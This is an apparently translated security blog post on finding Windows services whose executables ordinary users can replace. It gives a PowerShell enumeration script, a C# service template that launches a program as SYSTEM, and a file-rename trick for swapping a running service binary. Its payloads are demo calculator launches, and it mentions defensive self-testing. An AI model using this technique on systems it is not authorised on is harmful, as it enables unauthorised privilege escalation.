Use powershell to find a writable windows service

Onedaysec
6 min read
0 views
docx image 1770018755245 0 7a0cb3abf3

0x00 Preface

---

Learned some techniques from DidierStevens' blog. This article will test and summarize the involved techniques, and open-source a powershell script to find replaceable services for automated exploitation.

DidierStevens' blog link:

https://blog.didierstevens.com/2017/09/05/abusing-a-writable-windows-service/

0x01 Introduction

---

This article will cover the following:

  • Using C# to write programs callable by Windows services
  • Usage tips for psexec's -i parameter
  • Usage tips for sc command
  • Obtaining executable paths corresponding to services via powershell
  • Details of automated exploitation script development

0x02 Using C# to write programs callable by Windows services

---

Programs that can be called by Windows services need to be able to interact with the SCM (Services Control Manager), so special attention is required during programming.

Didier Stevens provided a C# development template in his blog, with the code as follows:

using System.ServiceProcess;

namespace Demo
{
public class Service : ServiceBase
{
protected override void OnStart(string[] args)
{
System.Diagnostics.Process.Start("cmd.exe");
}
}

static class Program { static void Main() { ServiceBase.Run(new ServiceBase[] { new Service() }); } }
}

Since it's C# code, it can be directly compiled using csc.exe

Therefore, in actual usage, there's no need to pre-compile the exe; just upload the cs script and then use csc.exe to compile it into an exe

0x03 SC Command Usage Tips

---

Query all service lists:

sc query

Query specified service configuration information:

sc qc service_name

Create service:

sc create Test type= own binpath= c:\test\test.exe

Delete service:

sc delete service_name

0x04 Obtaining the executable file path of a service via PowerShell

---

Didier Stevens mentioned in his blog that his friend found a writable Windows service requiring only normal user permissions, which naturally led to the question of whether we could also find such a service

Using sc query can list all service names, then using sc qc service_name queries the corresponding executable file path for that service

For example: sc qc eventlog

As shown below, the executable file path for the eventlog service is C:\Windows\System32\svchost.exe

0x04 Obtaining the executable file path of a service via PowerShell — technical illustration 1

You can manually search for the executable file path corresponding to each service to see if there is a path that meets the requirements (i.e., writable by ordinary users)

Of course, this process is time-consuming and labor-intensive, so it's best to implement it by writing a program

On Windows systems, the simplest and most efficient development language is still PowerShell, so it was decided to use PowerShell to achieve automated judgment

However, the sc command cannot be run directly in PowerShell, as PS will treat it as an alias for set-content

Note:

You can run the sc command in PowerShell by using sc.exe, for example: sc.exe qc eventlog

Solution:

Call WMI to achieve this, the code is as follows:

Get-WmiObject win32_service | select Name,PathName

As shown below, it can list services and their corresponding executable file paths

0x04 Obtaining the executable file path of a service via PowerShell — technical illustration 2

0x05 Automated Exploit Script Development Details

---

The development details of the automated script are introduced below, with the following approach:

After listing the services and their corresponding executable file paths, extract each path and determine whether the path has writable permissions for ordinary users.

1. Obtain all executable file paths

Get-WmiObject win32_service | select Name,PathName

2. Convert executable file paths into an array

$out = (Get-WmiObject win32_service | select PathName)
$out|% {[array]$global:path += $_.PathName}

Array range:

$out[0] to $out[($out.Count-1)]

As shown in the figure below

2. Convert executable file paths into an array — technical illustration 3

3. Extract the path, display the folder of a single array element

$out[0].PathName.Substring($out[0].PathName.IndexOfAny("C"),$out[0].PathName.LastIndexOfAny("\"))

As shown in the figure below

3. Extract the path, display the folder of a single array element — technical illustration 4

4. To unify the format, convert all strings to uppercase

$out[0].PathName.ToUpper().Substring($out[0].PathName.ToUpper().IndexOfAny("C"),$out[0].PathName.ToUpper().LastIndexOfAny("\"))

5. Enumerate all truncated folders

Using a foreach loop:

foreach ($item in $out)
{
$item.PathName.ToUpper().Substring($item.PathName.ToUpper().IndexOfAny("C"),$item.PathName.ToUpper().LastIndexOfAny("\"))
}

As shown in the figure below

5. Enumerate all truncated folders — technical illustration 5

Alternatively, using a for loop:

for($i=0;$i -le $out.Count-1;$i++)
{
$out[$i].PathName.ToUpper().Substring($out[$i].PathName.ToUpper().IndexOfAny("C"),$out[$i].PathName.ToUpper().LastIndexOfAny("\"))
}

6. Get folder permissions

$a=$out[$i].PathName.ToUpper().Substring($out[$i].PathName.ToUpper().IndexOfAny("C"),$out[$i].PathName.ToUpper().LastIndexOfAny("\"))
Get-Acl -Path $a | select Owner

The following three permissions represent administrator permissions and do not meet the requirements:

  • NT AUTHORITY\SYSTEM
  • NT SERVICE\TrustedInstaller
  • BUILTIN\Administrators

Therefore, they need to be filtered out. The remaining permissions represent the current user, and the corresponding code is:

If($a.Owner -ne "NT AUTHORITY\SYSTEM"){
If($a.Owner -ne "NT SERVICE\TrustedInstaller"){
If($a.Owner -ne "BUILTIN\Administrators"){
$a.Owner
}
}
}

7. After filtering eligible services, search again to find the service name and path corresponding to the current user's permissions

Get-WmiObject win32_service | ?{$_.PathName -like $out[$i].PathName}|select Name,PathName

8. If no exploitable service is found in the system, the script will report an error, indicating that a method cannot be called on a Null value expression

As shown in the figure below

8. If no exploitable service is found in the system, the script will report an error, indicating that a metho… — technical illustration 6

Use $ErrorActionPreference="SilentlyContinue" to hide error messages, and write error information into the $Error variable

In summary, optimize the output format, and the complete code is as follows:

$ErrorActionPreference="SilentlyContinue"
$out = (Get-WmiObject win32_service | select PathName)
$out|% {[array]$global:path += $_.PathName}
for($i=0;$i -le $out.Count-1;$i++)
{
$a=Get-Acl -Path $out[$i].PathName.ToUpper().Substring($out[$i].PathName.ToUpper().IndexOfAny("C"),$out[$i].PathName.ToUpper().LastIndexOfAny("\"))
If($a.Owner -ne "NT AUTHORITY\SYSTEM"){
If($a.Owner -ne "NT SERVICE\TrustedInstaller"){
If($a.Owner -ne "BUILTIN\Administrators"){
Get-WmiObject win32_service | ?{$_.PathName -like $out[$i].PathName}|select Name,PathName,ProcessId,StartMode,State,Status
Write-host Owner: $a.Owner
}
}
}
}
Write-host [+] All done.

0x06 Actual Testing

---

1、Manually create service Test

sc create Test type= own binpath= c:\test\test.exe

2、Compile and generate exe

using System.ServiceProcess;
namespace Demo
{
public class Service : ServiceBase
{
protected override void OnStart(string[] args)
{
System.Diagnostics.Process.Start("calc.exe");
}
}
static class Program { static void Main() { ServiceBase.Run(new ServiceBase[] { new Service() }); } }
}

Save as test.cs

Compile using csc.exe:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe test.cs

Generate test.exe

3. Start the service

sc start Test

Check the process, you can see the calc.exe process started with system privileges, as shown in the figure below

3. Start the service — technical illustration 7

4. Replace test.exe

In actual situations, if administrator privileges are not obtained, you cannot start or stop the service

If the service is not stopped, you cannot directly delete the exe, and access is denied

However, you can rename the file, which is equivalent to indirectly deleting it, and then rename the new file to test.exe

rename test.exe test2.exe

This way, you can replace the file without stopping the service, as shown in the figure below

4. Replace test.exe — technical illustration 8

5. Restart the service

sc stop Test
sc start Test

Of course, this operation requires administrator privileges

6. Tips for using the -i parameter of psexec

Since the exe started by the service runs with system privileges and defaults to session 0, while the user interface is in session 1, the launched exe interface is not visible

You can specify the session for launching the exe with psexec, thus obtaining the program interface

test.cs modified as follows:

using System.ServiceProcess;
namespace Demo
{
public class Service : ServiceBase
{
protected override void OnStart(string[] args)
{
System.Diagnostics.Process.Start(@"c:\test\psexec.exe", @"-accepteula -d -i 1 calc.exe");
}
}
static class Program { static void Main() { ServiceBase.Run(new ServiceBase[] { new Service() }); } }
}

Stop service: sc stop Test

Delete file: del test.exe

Compile file: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe test.cs

Save psexec to c:\test

Start service: sc start Test

At this point, the system-privileged calc.exe interface can be seen, as shown in the figure below

6. Tips for using the -i parameter of psexec — technical illustration 9

7. Use PowerShell script for scanning

As shown in the figure below, mark the service commands and replaceable paths for easy substitution

7. Use PowerShell script for scanning — technical illustration 10

This script can automatically determine whether there are exploitable services on the current system

0x07 Summary

---

If a Windows service with writable permissions for a regular user is found, replacing its executable file allows execution of the replaced file with system privileges after the service restarts, which can be used for privilege escalation.

The open-source script in this article can be used to automatically check whether the current system has Windows services with writable permissions for regular users. From a defender's perspective, this script can also be used to test one's own system.

Related Questions & Answers

How can I replace a service executable without stopping the service, and what privileges are needed?

Even without stopping the service, you can rename the existing executable (e.g., `rename test.exe test2.exe`) and then rename your malicious file to the original name. This bypasses the 'access denied' error when trying to delete a running file. Note that starting or stopping the service typically requires administrator privileges, but the rename trick works while the service is running.

Why can't I see the GUI of a service-started executable, and how can I fix it with psexec?

Services run in session 0, which is isolated from the interactive user session (session 1). Therefore, GUI windows (like `calc.exe`) are not visible. You can use `psexec -i 1` to launch the process in the user's session, making the interface visible. This tip is covered in the article alongside the C# service template.

How do I write a C# program that the Windows Service Control Manager (SCM) can run?

You need to create a class that inherits from `ServiceBase` and override the `OnStart` method (e.g., to launch `calc.exe`). Then use `ServiceBase.Run()` in Main to register it with SCM. Compile the `.cs` file with `csc.exe` (C# compiler) to produce an executable. A template from Didier Stevens is included in the article.

How can I find writable Windows services using PowerShell?

You can use PowerShell with WMI to list all services and their executable paths: `Get-WmiObject win32_service | select Name,PathName`. Then extract each path, check folder permissions with `Get-Acl`, and filter out owners like `NT AUTHORITY\SYSTEM`, `NT SERVICE\TrustedInstaller`, or `BUILTIN\Administrators`. A full automated script is provided in the article [Use powershell to find a writable windows service](/news/use-powershell-to-find-a-writable-windows-service).

Continue Reading